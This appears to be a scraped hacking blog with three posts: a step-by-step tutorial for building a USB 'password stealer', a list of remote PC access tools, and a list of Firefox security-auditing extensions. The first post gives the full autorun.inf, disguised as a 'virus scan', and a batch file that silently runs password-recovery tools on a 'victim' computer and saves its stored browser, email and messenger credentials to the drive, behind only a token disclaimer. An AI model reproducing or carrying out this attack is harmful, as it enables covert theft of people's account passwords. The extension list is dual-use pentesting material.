Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Access Your Personal Computer(PC) From Anywhere #RemoteAccess #VPNs #Encrypt

If you are traveling and you need a file which resides in your Personal Computer then what will you do? By now you may be stuck in between your presentation because you’re missing one crucial file *Been There, Done That*

There’s a mechanism that can aid you in accessing your personal computer from anywhere, NO, not via cloud computing but through remote PC you can access your personal computer from anywhere in the world!!!

Tools You Can Use To Access Your PC Remotely:

One Can use the below tools to access his/her PC via mobile phone or another computer

Opera Unite, by using this tool one can easily turn his computer into a web server and can access documents on that computer from any other web browser. Opera Unite is a standard web server and it allows us to download files directly from the computer without uploading.

Copernic is popular desktop accessing software that is used to find emails, pictures and other files on Windows computer. Copernic also have a component called myCopernic on the Go for remotely searching the content stored on the home or office computer. One can preview the search results and then download them to your mobile phone or remote PC.

Another option is GBridge, it allows you to setup a virtual private network using your Google Account. Nowadays many companies are using VPNs to let employees access their data over an unsecure public network (Internet) with this tool. It also allows home users to build their own VPNs to access remote files more securely.

But in my personal opinion the best option is Windows Live Sync at sync.live.com for remotely accessing files over the Internet. You have to just install the Live Sync client on your computer and you can access the entire hard drive of that computer simply through the Windows Live Sync website. Live Sync is available for both Mac and Windows.

Last but not least this kind of remote access can be compromised or hacked one way or another *Keep an open mind Mr./Ms.* especially if you don’t update your system regularly, exploits, zero-day exploits are discovered and exploited every single day. Of course you’re also advised to encrypt files no matter how small-but this depends with the sensitivity of the files: there’s nothing called Privacy nowadays unless you classified it as one-Just do it, don’t be stubborn, keep your files far away from the preying eyes of the likes of National Intelligence Agency (NSA)-Remember if you’re a target they will find a way in, for example they might just show up on your door*Giggling* That just buys you some time and act as a deterrent.

Thanks for Visiting

Turning Mozilla Firefox Into A Hacking Machine {And Secure In Some Way}!! ;D #Mozilla #Firefox #Hacking #Infosec #Hackers

Internet is an amazing virtual world where you can "virtually" do anything: gambling, playing, watching movies, shopping, working, “VoIPying”, spying on other people and for sure auditing remote systems.

The security testers’ community has a large panel of security tools, methodologies and much more to perform their pentests and audit assessments. But what happens if you find yourself weaponless.

No more Top 100 security tools, no more LiveCDs and no more exploitation  frameworks. A security auditor without toolbox is like a cop without gun.

Nevertheless, there is maybe a way to rescue yourself from this nightmare situation.

The magical solution could be Firefox and its extensions developed by hackers and coders. If you don’t want to do the work  below then there is a open source browser based security framework called mantra which comes with preconfigured with all the above extensions + many more. You can download it from H3R3 . Yeah!!

Here is a list of useful security auditing extensions:

*Information Gathering*

Whois And Geo-location

Ø ShowIP : Show the IP address of the current page in the status bar.

It also allows querying custom services by IP (right mouse button) and Hostname (left mouse button), like whois, netcraft.

ØShazou : The product called Shazou (pronounced Shazoo it is Japanese for mapping) enables the user with one-click to map and geo- locate any website they are currently viewing.

Ø HostIP.info Geolocation : Displays Geolocation information for a website using hostip.info data. Works with all versions of Firefox.

ØActive Whois : Starting Active Whois to get details about any Web site owner and its host server.

ØBibirmer Toolbar : An all-in-one extension. But auditors need to play with the toolbox. It includes (WhoIs, DNS Report, Geolocation, Traceroute, Ping). Very useful for information gathering phase.

  

*Enumeration / Fingerprinting*

Ø Header Spy : Shows HTTP headers on statusbar.

Ø Header Monitor : This is Firefox extension for display on statusbar panel any HTTP response header of top level document returned by a web server. Example: Server (by default), Content Encoding, Content- Type, X-Powered-By and others.

*Social Engineering*

ØPeople Search and Public Record : This Firefox extension is a handy menu tool for investigators, reporters, legal professionals, real estate agents, online researchers and anyone interested in doing their own basic people searches and public record lookups as well as background research.

 *Googling And Spidering*

ØAdvanced dork : Gives quick access to Google’s Advanced

 Operators directly from the context menu. This could be used to spider a site or scan for hidden files (this spider technique is used via scroogle.org)

Ø SpiderZilla : Spiderzilla is an easy- to-use website mirror utility, based on Httrack-Download from H3R3

ØView Dependencies : View Dependencies adds a tab to the "page info" window, in which it lists all the files which were loaded to show the current page. (useful for a spidering technique) Security Assessment / Code auditing

*Editors*

Ø JSView : The ’view page source’ menu item now opens files based on the behaviour you  choose in the jsview options. This allows you to open the source code of any web page in a new tab or in an external editor.

Ø Cert Viewer Plus : Adds two options to the certificate viewer in Firefox or Thunderbird: an X.509 certificate can either be displayed in PEM format (Base64/RFC 1421, opens in a new window) or saved to a file (in PEM or DER format – and PKCS#7 provided that the respective patch has been applied - cf.

Ø Firebug : Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.

Ø XML Developer Toolbar: Allows XML Developer’s use of standard tools all from your browser.

*Headers Manipulation*

Ø HeaderMonitor : This is Firefox extension for display on statusbar panel any HTTP response header of top level document returned by a web server. Example: Server (by default), Content Encoding, Content- Type, X-Powered-By and others.

Ø RefControl : Control what gets sent as the HTTP Referrer on a per- site basis.

Ø User Agent Switcher : Adds a menu and a toolbar button to switch the user agent of the browser.

*Cookies Manipulation*

Ø Add N Edit Cookies : Cookie Editor that allows you add and edit "session" and saved cookies.

ØCookieSwap : CookieSwap is an extension that enables you to maintain numerous sets or "profiles" of cookies that you can quickly swap between while browsing.

Ø httpOnly : Adds httpOnly cookie support to Firefox by encrypting cookies marked as http Only on the browser side.

Ø Allcookies : Dumps ALL cookies (including session cookies) to Firefox standard cookies.txt file.

 *Security Auditing*

Ø HackBar : This toolbar will help you in testing SQL injections, XSS holes and site security. It is NOT a tool for executing standard exploits and it will NOT teach you how to hack a site. Its main purpose is to help a developer do security audits on his code.

Ø Tamper Data : Use “tamper data” to view and modify HTTP/HTTPS headers and post parameters.

Ø Chickenfoot : Chickenfoot is a Firefox extension that puts a programming environment in the browser’s sidebar so you can write scripts to manipulate web pages and automate web browsing. In Chickenfoot, scripts are written in a superset of JavaScript that includes special functions specific to web tasks.*Misc*

 *Hacks For Fun*

Ø Greasemonkey : Allows you to customize the way a webpage displays using small bits of JavaScript (scripts could be download here)

Ø Encryption Fire Encrypter : FireEncrypter is a Firefox extension which gives you encryption/decryption and hashing functionalities right from your Firefox browser, mostly useful for developers or for education & fun.

*Malware Scanner*

Ø QArchive.org web files checker : Allowing people to check web files for any malware (viruses, trojans, worms, adware, spyware and other unwanted things) inclusions.

Ø Dr.Web anti-virus link checker :

Ø This plugin allows you to check any file you are about to download, any page you are about to visit

Ø ClamWin Antivirus Glue for Firefox : This extension scans every downloaded file automatically with ClamWin.

*Anti Spoof*

Ø refspoof : Easy to pretend to origin from a site by overriding the URL referrer (in a http request). — It incorporates this feature by using the pseudo-protocol spoof:// .. Thus it’s possible to store the information in a "hyperlink" – that can be used in any context... like html pages or bookmarks.

Thanks For Visiting